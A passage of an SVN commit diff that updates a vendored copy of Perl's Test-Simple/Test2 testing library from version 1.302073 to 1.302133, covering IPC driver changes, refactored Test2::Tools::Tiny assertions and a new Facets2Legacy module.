-        $self->{+_FORMATTER}->terminate($e) if $self->{+_FORMATTER};
-        $self->terminate($code, $e);
+        $self->{+_FORMATTER}->terminate($e, $f) if $self->{+_FORMATTER};
+        $self->terminate($code, $e, $f);
     }
 
     return $e;
@@ -339,11 +415,11 @@
     my $failed = $self->{+FAILED};
     my $active = $self->{+ACTIVE};
 
-	# return if NOTHING was done.
-	unless ($active || $do_plan || defined($plan) || $count || $failed) {
-		$self->{+_FORMATTER}->finalize($plan, $count, $failed, 0, $self->is_subtest) if $self->{+_FORMATTER};
-		return;
-	}
+    # return if NOTHING was done.
+    unless ($active || $do_plan || defined($plan) || $count || $failed) {
+        $self->{+_FORMATTER}->finalize($plan, $count, $failed, 0, $self->is_subtest) if $self->{+_FORMATTER};
+        return;
+    }
 
     unless ($self->{+ENDED}) {
         if ($self->{+_FOLLOW_UPS}) {
@@ -381,7 +457,7 @@
     $self->{+ENDED} = $frame;
     my $pass = $self->is_passing(); # Generate the final boolean.
 
-	$self->{+_FORMATTER}->finalize($plan, $count, $failed, $pass, $self->is_subtest) if $self->{+_FORMATTER};
+    $self->{+_FORMATTER}->finalize($plan, $count, $failed, $pass, $self->is_subtest) if $self->{+_FORMATTER};
 
     return $pass;
 }
@@ -452,7 +528,6 @@
     my $ipc = $self->{+IPC} || return;
     return unless $$ == $self->{+PID};
     return unless get_tid() == $self->{+TID};
-
     $ipc->drop_hub($self->{+HID});
 }
 
@@ -640,7 +715,7 @@
 =item $hub->follow_op(sub { ... })
 
 Use this to add behaviors that are called just before the hub is finalized. The
-only argument to your codeblock will be a L<Test2::Util::Trace> instance.
+only argument to your codeblock will be a L<Test2::EventFacet::Trace> instance.
 
     $hub->follow_up(sub {
         my ($trace, $hub) = @_;
@@ -723,6 +798,10 @@
 
 Get the identifier string of the hub.
 
+=item $uuid = $hub->uuid()
+
+If UUID tagging is enabled (see L<Test2::API>) then the hub will have a UUID.
+
 =item $ipc = $hub->ipc()
 
 Get the IPC object used by the hub.
@@ -819,7 +898,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/IPC/Driver/Files.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/IPC/Driver/Files.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/IPC/Driver/Files.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,12 +2,12 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 BEGIN { require Test2::IPC::Driver; our @ISA = qw(Test2::IPC::Driver) }
 
-use Test2::Util::HashBase qw{tempdir event_id tid pid globals};
+use Test2::Util::HashBase qw{tempdir event_ids read_ids timeouts tid pid globals};
 
 use Scalar::Util qw/blessed/;
 use File::Temp();
@@ -15,54 +15,9 @@
 use File::Spec();
 use POSIX();
 
-use Test2::Util qw/try get_tid pkg_to_file IS_WIN32 ipc_separator/;
+use Test2::Util qw/try get_tid pkg_to_file IS_WIN32 ipc_separator do_rename do_unlink try_sig_mask/;
 use Test2::API qw/test2_ipc_set_pending/;
 
-BEGIN {
-    if (IS_WIN32) {
-        my $max_tries = 5;
-
-        *do_rename = sub {
-            my ($from, $to) = @_;
-
-            my $err;
-            for (1 .. $max_tries) {
-                return (1) if rename($from, $to);
-                $err = "$!";
-                last if $_ == $max_tries;
-                sleep 1;
-            }
-
-            return (0, $err);
-        };
-        *do_unlink = sub {
-            my ($file) = @_;
-
-            my $err;
-            for (1 .. $max_tries) {
-                return (1) if unlink($file);
-                $err = "$!";
-                last if $_ == $max_tries;
-                sleep 1;
-            }
-
-            return (0, "$!");
-        };
-    }
-    else {
-        *do_rename = sub {
-            my ($from, $to) = @_;
-            return (1) if rename($from, $to);
-            return (0, "$!");
-        };
-        *do_unlink = sub {
-            my ($file) = @_;
-            return (1) if unlink($file);
-            return (0, "$!");
-        };
-    }
-}
-
 sub use_shm { 1 }
 sub shm_size() { 64 }
 
@@ -84,7 +39,9 @@
     print STDERR "\nIPC Temp Dir: $tmpdir\n\n"
         if $ENV{T2_KEEP_TEMPDIR};
 
-    $self->{+EVENT_ID} = 1;
+    $self->{+EVENT_IDS} = {};
+    $self->{+READ_IDS} = {};
+    $self->{+TIMEOUTS} = {};
 
     $self->{+TID} = get_tid();
     $self->{+PID} = $$;
@@ -111,8 +68,11 @@
     $self->abort("'$e' is not an event object!")
         unless $type->isa('Test2::Event');
 
+    my $tid = get_tid();
+    my $eid = $self->{+EVENT_IDS}->{$hid}->{$$}->{$tid} += 1;
+
     my @type = split '::', $type;
-    my $name = join(ipc_separator, $hid, $$, get_tid(), $self->{+EVENT_ID}++, @type);
+    my $name = join(ipc_separator, $hid, $$, $tid, $eid, @type);
 
     return File::Spec->catfile($tempdir, $name);
 }
@@ -199,36 +159,18 @@
         $self->{+GLOBALS}->{$hid}->{$name}++;
     }
 
-    my ($old, $blocked);
-    unless(IS_WIN32) {
-        my $to_block = POSIX::SigSet->new(
-            POSIX::SIGINT(),
-            POSIX::SIGALRM(),
-            POSIX::SIGHUP(),
-            POSIX::SIGTERM(),
-            POSIX::SIGUSR1(),
-            POSIX::SIGUSR2(),
-        );
-        $old = POSIX::SigSet->new;
-        $blocked = POSIX::sigprocmask(POSIX::SIG_BLOCK(), $to_block, $old);
-        # Silently go on if we failed to log signals, not much we can do.
-    }
-
     # Write and rename the file.
-    my ($ok, $err) = try {
+    my ($ren_ok, $ren_err);
+    my ($ok, $err) = try_sig_mask {
         Storable::store($e, $file);
-        my ($ok, $err) = do_rename("$file", $ready);
-        unless ($ok) {
-            POSIX::sigprocmask(POSIX::SIG_SETMASK(), $old, POSIX::SigSet->new()) if defined $blocked;
-            $self->abort("Could not rename file '$file' -> '$ready': $err");
-        };
-        test2_ipc_set_pending(substr($file, -(shm_size)));
+        ($ren_ok, $ren_err) = do_rename("$file", $ready);
     };
 
-    # If our block was successful we want to restore the old mask.
-    POSIX::sigprocmask(POSIX::SIG_SETMASK(), $old, POSIX::SigSet->new()) if defined $blocked;
-
-    if (!$ok) {
+    if ($ok) {
+        $self->abort("Could not rename file '$file' -> '$ready': $ren_err") unless $ren_ok;
+        test2_ipc_set_pending(substr($file, -(shm_size)));
+    }
+    else {
         my $src_file = __FILE__;
         $err =~ s{ at \Q$src_file\E.*$}{};
         chomp($err);
@@ -256,6 +198,20 @@
     return 1;
 }
 
+sub driver_abort {
+    my $self = shift;
+    my ($msg) = @_;
+
+    local ($@, $!, $?, $^E);
+    eval {
+        my $abort = File::Spec->catfile($self->{+TEMPDIR}, "ABORT");
+        open(my $fh, '>>', $abort) or die "Could not open abort file: $!";
+        print $fh $msg, "\n";
+        close($fh) or die "Could not close abort file: $!";
+        1;
+    } or warn $@;
+}
+
 sub cull {
     my $self = shift;
     my ($hid) = @_;
@@ -264,8 +220,25 @@
 
     opendir(my $dh, $tempdir) or $self->abort("could not open IPC temp dir ($tempdir)!");
 
+    my $read = $self->{+READ_IDS};
+    my $timeouts = $self->{+TIMEOUTS};
+
     my @out;
     for my $info (sort cmp_events map { $self->should_read_event($hid, $_) } readdir($dh)) {
+        unless ($info->{global}) {
+            my $next = $self->{+READ_IDS}->{$info->{hid}}->{$info->{pid}}->{$info->{tid}} ||= 1;
+
+            $timeouts->{$info->{file}} ||= time;
+
+            if ($next != $info->{eid}) {
+                # Wait up to N seconds for missing events
+                next unless 5 < time - $timeouts->{$info->{file}};
+                $self->abort("Missing event HID: $info->{hid}, PID: $info->{pid}, TID: $info->{tid}, EID: $info->{eid}.");
+            }
+
+            $self->{+READ_IDS}->{$info->{hid}}->{$info->{pid}}->{$info->{tid}} = $info->{eid} + 1;
+        }
+
         my $full = $info->{full_path};
         my $obj = $self->read_event_file($full);
         push @out => $obj;
@@ -302,6 +275,7 @@
     my $type = join '::' => @parts;
 
     return {
+        file     => $file,
         ready    => $ready,
         complete => $complete,
         global   => $global,
@@ -318,6 +292,8 @@
     my ($hid, $file) = @_;
 
     return if substr($file, 0, 1) eq '.';
+    return if substr($file, 0, 3) eq 'HUB';
+    CORE::exit(255) if $file eq 'ABORT';
 
     my $parsed = $self->parse_event_filename($file);
 
@@ -374,7 +350,7 @@
     require Test2::Event::Waiting;
     $self->send(
         GLOBAL => Test2::Event::Waiting->new(
-            trace => Test2::Util::Trace->new(frame => [caller()]),
+            trace => Test2::EventFacet::Trace->new(frame => [caller()]),
         ),
         'GLOBAL'
     );
@@ -392,6 +368,14 @@
 
     my $tempdir = $self->{+TEMPDIR};
 
+    my $aborted = 0;
+    my $abort_file = File::Spec->catfile($self->{+TEMPDIR}, "ABORT");
+    if (-e $abort_file) {
+        $aborted = 1;
+        my ($ok, $err) = do_unlink($abort_file);
+        warn $err unless $ok;
+    }
+
     opendir(my $dh, $tempdir) or $self->abort("Could not open temp dir! ($tempdir)");
     while(my $file = readdir($dh)) {
         next if $file =~ m/^\.+$/;
@@ -399,7 +383,7 @@
         my $full = File::Spec->catfile($tempdir, $file);
 
         my $sep = ipc_separator;
-        if ($file =~ m/^(GLOBAL|HUB$sep)/) {
+        if ($aborted || $file =~ m/^(GLOBAL|HUB$sep)/) {
             $full =~ m/^(.*)$/;
             $full = $1; # Untaint it
             next if $ENV{T2_KEEP_TEMPDIR};
@@ -417,6 +401,8 @@
         return;
     }
 
+    my $abort = File::Spec->catfile($self->{+TEMPDIR}, "ABORT");
+    unlink($abort) if -e $abort;
     rmdir($tempdir) or warn "Could not remove IPC temp dir ($tempdir)";
 }
 
@@ -487,7 +473,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/IPC/Driver.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/IPC/Driver.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/IPC/Driver.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,11 +2,11 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
-use Carp qw/confess longmess/;
-use Test2::Util::HashBase qw{no_fatal};
+use Carp qw/confess/;
+use Test2::Util::HashBase qw{no_fatal no_bail};
 
 use Test2::API qw/test2_ipc_add_driver/;
 
@@ -36,8 +36,11 @@
 sub abort {
     my $self = shift;
     chomp(my ($msg) = @_);
+
+    $self->driver_abort($msg) if $self->can('driver_abort');
+
     print STDERR "IPC Fatal Error: $msg\n";
-    print STDOUT "not ok - IPC Fatal Error\n";
+    print STDOUT "Bail out! IPC Fatal Error: $msg\n" unless $self->no_bail;
 
     CORE::exit(255) unless $self->no_fatal;
 }
@@ -45,7 +48,8 @@
 sub abort_trace {
     my $self = shift;
     my ($msg) = @_;
-    $self->abort(longmess($msg));
+    # Older versions of Carp do not export longmess() function, so it needs to be called with package name
+    $self->abort(Carp::longmess($msg));
 }
 
 1;
@@ -248,6 +252,12 @@
 
 =over 4
 
+=item $ipc->driver_abort($msg)
+
+This is a hook called by C<< Test2::IPC::Driver->abort() >>. This is your
+chance to cleanup when an abort happens. You cannot prevent the abort, but you
+can gracefully except it.
+
 =item $bool = $ipc->use_shm()
 
 True if you want to make use of the L<Test2::API>/L<Test2::API::Instance> SHM.
@@ -282,7 +292,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/IPC.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/IPC.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/IPC.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 use Test2::API::Instance;
@@ -10,6 +10,7 @@
 use Test2::API qw{
     test2_init_done
     test2_ipc
+    test2_has_ipc
     test2_ipc_enable_polling
     test2_pid
     test2_stack
@@ -22,9 +23,12 @@
 our @EXPORT_OK = qw/cull/;
 BEGIN { require Exporter; our @ISA = qw(Exporter) }
 
+sub unimport { Test2::API::test2_ipc_disable() }
+
 sub import {
-    goto &Exporter::import unless test2_init_done();
+    goto &Exporter::import if test2_has_ipc || !test2_init_done();
 
+    confess "IPC is disabled" if Test2::API::test2_ipc_disabled();
     confess "Cannot add IPC in a child process (" . test2_pid() . " vs $$)" if test2_pid() != $$;
     confess "Cannot add IPC in a child thread (" . test2_tid() . " vs " . get_tid() . ")"  if test2_tid() != get_tid();
 
@@ -95,6 +99,11 @@
 import this module after API initialization it will attempt to retrofit IPC
 onto the existing hubs.
 
+=head2 DISABLING IT
+
+You can use C<no Test2::IPC;> to disable IPC for good. You can also use the
+T2_NO_IPC env var.
+
 =head1 EXPORTS
 
 All exports are optional.
@@ -130,7 +139,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Tools/Tiny.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Tools/Tiny.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Tools/Tiny.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,6 +2,12 @@
 use strict;
 use warnings;
 
+BEGIN {
+    if ($] lt "5.008") {
+        require Test::Builder::IO::Scalar;
+    }
+}
+
 use Scalar::Util qw/blessed/;
 
 use Test2::Util qw/try/;
@@ -10,7 +16,7 @@
 use Test2::Hub::Interceptor();
 use Test2::Hub::Interceptor::Terminator();
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 BEGIN { require Exporter; our @ISA = qw(Exporter) }
 our @EXPORT = qw{
@@ -21,9 +27,9 @@
 sub ok($;$@) {
     my ($bool, $name, @diag) = @_;
     my $ctx = context();
-    $ctx->ok($bool, $name, \@diag);
-    $ctx->release;
-    return $bool ? 1 : 0;
+
+    return $ctx->pass_and_release($name) if $bool;
+    return $ctx->fail_and_release($name, @diag);
 }
 
 sub is($$;$@) {
@@ -41,18 +47,16 @@
         $bool = 1;
     }
 
-    unless ($bool) {
-        $got  = '*NOT DEFINED*' unless defined $got;
-        $want = '*NOT DEFINED*' unless defined $want;
-        unshift @diag => (
-            "GOT:      $got",
-            "EXPECTED: $want",
-        );
-    }
+    return $ctx->pass_and_release($name) if $bool;
 
-    $ctx->ok($bool, $name, \@diag);
-    $ctx->release;
-    return $bool;
+    $got  = '*NOT DEFINED*' unless defined $got;
+    $want = '*NOT DEFINED*' unless defined $want;
+    unshift @diag => (
+        "GOT:      $got",
+        "EXPECTED: $want",
+    );
+
+    return $ctx->fail_and_release($name, @diag);
 }
 
 sub isnt($$;$@) {
@@ -70,12 +74,12 @@
         $bool = 0;
     }
 
+    return $ctx->pass_and_release($name) if $bool;
+
     unshift @diag => "Strings are the same (they should not be)"
         unless $bool;
 
-    $ctx->ok($bool, $name, \@diag);
-    $ctx->release;
-    return $bool;
+    return $ctx->fail_and_release($name, @diag);
 }
 
 sub like($$;$@) {
@@ -95,9 +99,8 @@
         unshift @diag => "Got an undefined value.";
     }
 
-    $ctx->ok($bool, $name, \@diag);
-    $ctx->release;
-    return $bool;
+    return $ctx->pass_and_release($name) if $bool;
+    return $ctx->fail_and_release($name, @diag);
 }
 
 sub unlike($$;$@) {
@@ -118,9 +121,8 @@
         unshift @diag => "Got an undefined value.";
     }
 
-    $ctx->ok($bool, $name, \@diag);
-    $ctx->release;
-    return $bool;
+    return $ctx->pass_and_release($name) if $bool;
+    return $ctx->fail_and_release($name, @diag);
 }
 
 sub is_deeply($$;$@) {
@@ -129,6 +131,10 @@
 
     no warnings 'once';
     require Data::Dumper;
+
+    # Otherwise numbers might be unquoted
+    local $Data::Dumper::Useperl  = 1;
+
     local $Data::Dumper::Sortkeys = 1;
     local $Data::Dumper::Deparse  = 1;
     local $Data::Dumper::Freezer  = 'XXX';
@@ -147,11 +153,8 @@
 
     my $bool = $g eq $w;
 
-    my $diff;
-
-    $ctx->ok($bool, $name, [$diff ? $diff : ($g, $w), @diag]);
-    $ctx->release;
-    return $bool;
+    return $ctx->pass_and_release($name) if $bool;
+    return $ctx->fail_and_release($name, $g, $w, @diag);
 }
 
 sub diag {
@@ -183,16 +186,13 @@
     my $filter = $hub->pre_filter(
         sub {
             my ($active_hub, $event) = @_;
-
-            # Turn a diag into a note
-            return Test2::Event::Note->new(%$event) if ref($event) eq 'Test2::Event::Diag';
-
-            # Set todo on ok's
-            if ($hub == $active_hub && $event->isa('Test2::Event::Ok')) {
-                $event->set_todo($reason);
-                $event->set_effective_pass(1);
+            if ($active_hub == $hub) {
+                $event->set_todo($reason) if $event->can('set_todo');
+                $event->add_amnesty({tag => 'TODO', details => $reason});
             }
-
+            else {
+                $event->add_amnesty({tag => 'TODO', details => $reason, inherited => 1});
+            }
             return $event;
         },
         inherit => 1,
@@ -237,8 +237,10 @@
     my ($name, $code) = @_;
     my $ctx = context();
 
-    before_each() if __PACKAGE__->can('before_each');
+    my $be = caller->can('before_each');
 
+    $be->($name) if $be;
+
     my $bool = run_subtest($name, $code, 1);
 
     $ctx->release;
@@ -257,8 +259,16 @@
         my ($out_fh, $err_fh);
 
         ($ok, $e) = try {
+          # Scalar refs as filehandles were added in 5.8.
+          if ($] ge "5.008") {
             open($out_fh, '>', \$out) or die "Failed to open a temporary STDOUT: $!";
             open($err_fh, '>', \$err) or die "Failed to open a temporary STDERR: $!";
+          }
+          # Emulate scalar ref filehandles with a tie.
+          else {
+            $out_fh = Test::Builder::IO::Scalar->new(\$out) or die "Failed to open a temporary STDOUT";
+            $err_fh = Test::Builder::IO::Scalar->new(\$err) or die "Failed to open a temporary STDERR";
+          }
 
             test2_stack->top->format->set_handles([$out_fh, $err_fh, $out_fh]);
 
@@ -415,7 +425,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Transition.pod
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Transition.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Transition.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -256,6 +256,14 @@
 
 Fixed in version: 0.15
 
+=item Test::More::Prefix
+
+Worked by applying a role that wrapped C<< Test::Builder->_print_comment >>.
+Fixed by adding an event filter that modifies the message instead when running
+under Test2.
+
+Fixed in version: 0.007
+
 =back
 
 =head2 STILL BROKEN
@@ -298,14 +306,6 @@
 
 Still broken as of version: 0.32
 
-=item Test::More::Prefix
-
-The current version, 0.005 is broken. A patch has been applied in git, and
-released in 0.006, but a version issue with 0.006 prevents its installation.
-
-Still broken as of version: 0.005
-Potentially fixed in version: 0.006 (not installable)
-
 =item Net::BitTorrent
 
 The tests for this module directly access L<Test::Builder> hash keys. Most, if
@@ -502,7 +502,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Util/ExternalMeta.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Util/ExternalMeta.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Util/ExternalMeta.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 use Carp qw/croak/;
@@ -172,7 +172,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Added: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Util/Facets2Legacy.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Util/Facets2Legacy.pm	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Util/Facets2Legacy.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,299 @@
+package Test2::Util::Facets2Legacy;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+use Carp qw/croak confess/;
+use Scalar::Util qw/blessed/;
+
+use base 'Exporter';
+our @EXPORT_OK = qw{
+    causes_fail
+    diagnostics
+    global
+    increments_count
+    no_display
+    sets_plan
+    subtest_id
+    summary
+    terminate
+    uuid
+};
+our %EXPORT_TAGS = ( ALL => \@EXPORT_OK );
+
+our $CYCLE_DETECT = 0;
+sub _get_facet_data {
+    my $in = shift;
+
+    if (blessed($in) && $in->isa('Test2::Event')) {
+        confess "Cycle between Facets2Legacy and $in\->facet_data() (Did you forget to override the facet_data() method?)"
+            if $CYCLE_DETECT;
+
+        local $CYCLE_DETECT = 1;
+        return $in->facet_data;
+    }
+
+    return $in if ref($in) eq 'HASH';
+
+    croak "'$in' Does not appear to be either a Test::Event or an EventFacet hashref";
+}
+
+sub causes_fail {
+    my $facet_data = _get_facet_data(shift @_);
+
+    return 1 if $facet_data->{errors} && grep { $_->{fail} } @{$facet_data->{errors}};
+
+    if (my $control = $facet_data->{control}) {
+        return 1 if $control->{halt};
+        return 1 if $control->{terminate};
+    }
+
+    return 0 if $facet_data->{amnesty} && @{$facet_data->{amnesty}};
+    return 1 if $facet_data->{assert} && !$facet_data->{assert}->{pass};
+    return 0;
+}
+
+sub diagnostics {
+    my $facet_data = _get_facet_data(shift @_);
+    return 1 if $facet_data->{errors} && @{$facet_data->{errors}};
+    return 0 unless $facet_data->{info} && @{$facet_data->{info}};
+    return (grep { $_->{debug} } @{$facet_data->{info}}) ? 1 : 0;
+}
+
+sub global {
+    my $facet_data = _get_facet_data(shift @_);
+    return 0 unless $facet_data->{control};
+    return $facet_data->{control}->{global};
+}
+
+sub increments_count {
+    my $facet_data = _get_facet_data(shift @_);
+    return $facet_data->{assert} ? 1 : 0;
+}
+
+sub no_display {
+    my $facet_data = _get_facet_data(shift @_);
+    return 0 unless $facet_data->{about};
+    return $facet_data->{about}->{no_display};
+}
+
+sub sets_plan {
+    my $facet_data = _get_facet_data(shift @_);
+    my $plan = $facet_data->{plan} or return;
+    my @out = ($plan->{count} || 0);
+
+    if ($plan->{skip}) {
+        push @out => 'SKIP';
+        push @out => $plan->{details} if defined $plan->{details};
+    }
+    elsif ($plan->{none}) {
+        push @out => 'NO PLAN'
+    }
+
+    return @out;
+}
+
+sub subtest_id {
+    my $facet_data = _get_facet_data(shift @_);
+    return undef unless $facet_data->{parent};
+    return $facet_data->{parent}->{hid};
+}
+
+sub summary {
+    my $facet_data = _get_facet_data(shift @_);
+    return '' unless $facet_data->{about} && $facet_data->{about}->{details};
+    return $facet_data->{about}->{details};
+}
+
+sub terminate {
+    my $facet_data = _get_facet_data(shift @_);
+    return undef unless $facet_data->{control};
+    return $facet_data->{control}->{terminate};
+}
+
+sub uuid {
+    my $in = shift;
+
+    if ($CYCLE_DETECT) {
+        if (blessed($in) && $in->isa('Test2::Event')) {
+            my $meth = $in->can('uuid');
+            $meth = $in->can('SUPER::uuid') if $meth == \&uuid;
+            my $uuid = $in->$meth if $meth && $meth != \&uuid;
+            return $uuid if $uuid;
+        }
+
+        return undef;
+    }
+
+    my $facet_data = _get_facet_data($in);
+    return $facet_data->{about}->{uuid} if $facet_data->{about} && $facet_data->{about}->{uuid};
+
+    return undef;
+}
+
+1;
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Util::Facets2Legacy - Convert facet data to the legacy event API.
+
+=head1 DESCRIPTION
+
+This module exports several subroutines from the older event API (see
+L<Test2::Event>). These subroutines can be used as methods on any object that
+provides a custom C<facet_data()> method. These subroutines can also be used as
+functions that take a facet data hashref as arguments.
+
+=head1 SYNOPSIS
+
+=head2 AS METHODS
+
+    package My::Event;
+
+    use Test2::Util::Facets2Legacy ':ALL';
+
+    sub facet_data { return { ... } }
+
+Then to use it:
+
+    my $e = My::Event->new(...);
+
+    my $causes_fail = $e->causes_fail;
+    my $summary     = $e->summary;
+    ....
+
+=head2 AS FUNCTIONS
+
+    use Test2::Util::Facets2Legacy ':ALL';
+
+    my $f = {
+        assert => { ... },
+        info => [{...}, ...],
+        control => {...},
+        ...
+    };
+
+    my $causes_fail = causes_fail($f);
+    my $summary     = summary($f);
+
+=head1 NOTE ON CYCLES
+
+When used as methods, all these subroutines call C<< $e->facet_data() >>. The
+default C<facet_data()> method in L<Test2::Event> relies on the legacy methods
+this module emulates in order to work. As a result of this it is very easy to
+create infinite recursion bugs.
+
+These methods have cycle detection and will throw an exception early if a cycle
+is detected. C<uuid()> is currently the only subroutine in this library that
+has a fallback behavior when cycles are detected.
+
+=head1 EXPORTS
+
+Nothing is exported by default. You must specify which methods to import, or
+use the ':ALL' tag.
+
+=over 4
+
+=item $bool = $e->causes_fail()
+
+=item $bool = causes_fail($f)
+
+Check if the event or facets result in a failing state.
+
+=item $bool = $e->diagnostics()
+
+=item $bool = diagnostics($f)
+
+Check if the event or facets contain any diagnostics information.
+
+=item $bool = $e->global()
+
+=item $bool = global($f)
+
+Check if the event or facets need to be globally processed.
+
+=item $bool = $e->increments_count()
+
+=item $bool = increments_count($f)
+
+Check if the event or facets make an assertion.
+
+=item $bool = $e->no_display()
+
+=item $bool = no_display($f)
+
+Check if the event or facets should be rendered or hidden.
+
+=item ($max, $directive, $reason) = $e->sets_plan()
+
+=item ($max, $directive, $reason) = sets_plan($f)
+
+Check if the event or facets set a plan, and return the plan details.
+
+=item $id = $e->subtest_id()
+
+=item $id = subtest_id($f)
+
+Get the subtest id, if any.
+
+=item $string = $e->summary()
+
+=item $string = summary($f)
+
+Get the summary of the event or facets hash, if any.
+
+=item $undef_or_int = $e->terminate()
+
+=item $undef_or_int = terminate($f)
+
+Check if the event or facets should result in process termination, if so the
+exit code is returned (which could be 0). undef is returned if no termination
+is requested.
+
+=item $uuid = $e->uuid()
+
+=item $uuid = uuid($f)
+
+Get the UUID of the facets or event.
+
+B<Note:> This will fall back to C<< $e->SUPER::uuid() >> if a cycle is
+detected and an event is used as the argument.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist at cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Util/HashBase.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Util/HashBase.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Util/HashBase.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,18 +2,25 @@
 use strict;
 use warnings;
 
+our $VERSION = '1.302133';
+
 #################################################################
 #                                                               #
 #  This is a generated file! Do not modify this file directly!  #
 #  Use hashbase_inc.pl script to regenerate this file.          #
 #  The script is part of the Object::HashBase distribution.     #
+#  Note: You can modify the version number above this comment   #
+#  if needed, that is fine.                                     #
 #                                                               #
 #################################################################
 
 {
     no warnings 'once';
-    $Test2::Util::HashBase::VERSION = '0.002';
+    $Test2::Util::HashBase::HB_VERSION = '0.006';
     *Test2::Util::HashBase::ATTR_SUBS = \%Object::HashBase::ATTR_SUBS;
+    *Test2::Util::HashBase::ATTR_LIST = \%Object::HashBase::ATTR_LIST;
+    *Test2::Util::HashBase::VERSION   = \%Object::HashBase::VERSION;
+    *Test2::Util::HashBase::CAN_CACHE = \%Object::HashBase::CAN_CACHE;
 }
 
 
@@ -46,9 +53,15 @@
     my $class = shift;
     my $into  = caller;
 
-    my $isa       = _isa($into);
+    # Make sure we list the OLDEST version used to create this class.
+    my $ver = $Test2::Util::HashBase::HB_VERSION || $Test2::Util::HashBase::VERSION;
